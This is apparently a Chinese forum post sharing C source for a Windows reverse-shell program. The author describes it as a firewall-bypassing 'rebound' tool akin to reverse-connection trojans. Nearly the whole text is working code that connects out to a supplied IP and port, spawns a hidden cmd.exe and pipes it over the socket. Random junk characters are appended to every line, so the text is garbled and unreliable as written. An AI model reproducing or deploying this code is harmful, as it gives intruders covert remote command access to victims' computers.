这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F:;!)H*
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/* ============================== W`N}
Rebound port in Windows NT B [+(r
By wind,2006/7 !{Q:(B#ec
===============================*/ {xv?wenE
#include CQSpPQA
#include Ak6MPuBB-
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#pragma comment(lib,"wsock32.lib") xJ~
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void OutputShell(); qX5yN| A4
SOCKET sClient; [0&'cu>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?GO
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void main(int argc,char **argv) CGC-"A/W
{ pcy<2UV
WSADATA stWsaData; 5{13V*<
int nRet; <&5m N
SOCKADDR_IN stSaiClient,stSaiServer; yuHZ&e
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if(argc != 3) #ya\Jdx
{ )N"Ew0U
printf("Useage:\n\rRebound DestIP DestPort\n"); vZ$U^>":
return; i<T P:
} pWs\.::B
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WSAStartup(MAKEWORD(2,2),&stWsaData); F$Im9T6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >ZT& `E
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stSaiClient.sin_family = AF_INET; y=AsgJ
stSaiClient.sin_port = htons(0); NunV8atn:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :n'yQ#[rn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sM9FE{,mx
{ @Od^k#
printf("Bind Socket Failed!\n"); H8@8MFz\
return; "z^(dF|
} q,B3ru.?d
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stSaiServer.sin_family = AF_INET; ]~-*hOcQ4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x\hWyY6J[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &{%MjKJ._
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :qKF58W
{ }q% jO
printf("Connect Error!"); 2_;]
return; HH)"]E5
} 9W!8gCs
OutputShell(); <B6[i*&
} yu)q4C7ek
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void OutputShell() ^Q0&.hL@
{ ?Jt$a;
char szBuff[1024]; t5.`!3EO
SECURITY_ATTRIBUTES stSecurityAttributes; XrF3kz!44
OSVERSIONINFO stOsversionInfo; A1^Ga5 B>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VFv9Q2/.
STARTUPINFO stStartupInfo; M`GP^Ta
char *szShell; 5Go0}'*%
PROCESS_INFORMATION stProcessInformation; Q48+O?&
unsigned long lBytesRead; xS'zZ%?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kG/X"6pZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GCT@o!
stSecurityAttributes.lpSecurityDescriptor = 0; D+Cm<ZT~
stSecurityAttributes.bInheritHandle = TRUE; 5h0>!0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (;aB!(_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [,=d7*b(l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); No)
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sp:l;SGd
stStartupInfo.wShowWindow = SW_HIDE; WsR+Np@c
stStartupInfo.hStdInput = hReadPipe; 4q hWm"&CM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6v to++
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GetVersionEx(&stOsversionInfo); B2 c@kru
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switch(stOsversionInfo.dwPlatformId) B'-I{~'/
{ YOyp|%!
case 1: ZK6Hvc0
szShell = "command.com"; o0ZIsrr
break; ?aBj#
default: ak;6z]f8[
szShell = "cmd.exe"; Yd:Q`#7A
break; %KtU1A(["
} !}y1CA
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Pxb1E
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send(sClient,szMsg,77,0); -v+&pG?m
while(1) @%1IkvJV
{ o#>a 5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j!\dn!Xwt
if(lBytesRead) ?}}qu'N:N
{ $&hN*7Ts
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p3c"ZPO~z
send(sClient,szBuff,lBytesRead,0); %r%So_^
} Qzqc .T
else a+`D'?z
{ PWH^=K
lBytesRead=recv(sClient,szBuff,1024,0); =E(#YCx
if(lBytesRead<=0) break; Z) Wnow
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} mN*?%t
} ;I}'}
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return; A%u_&a}
}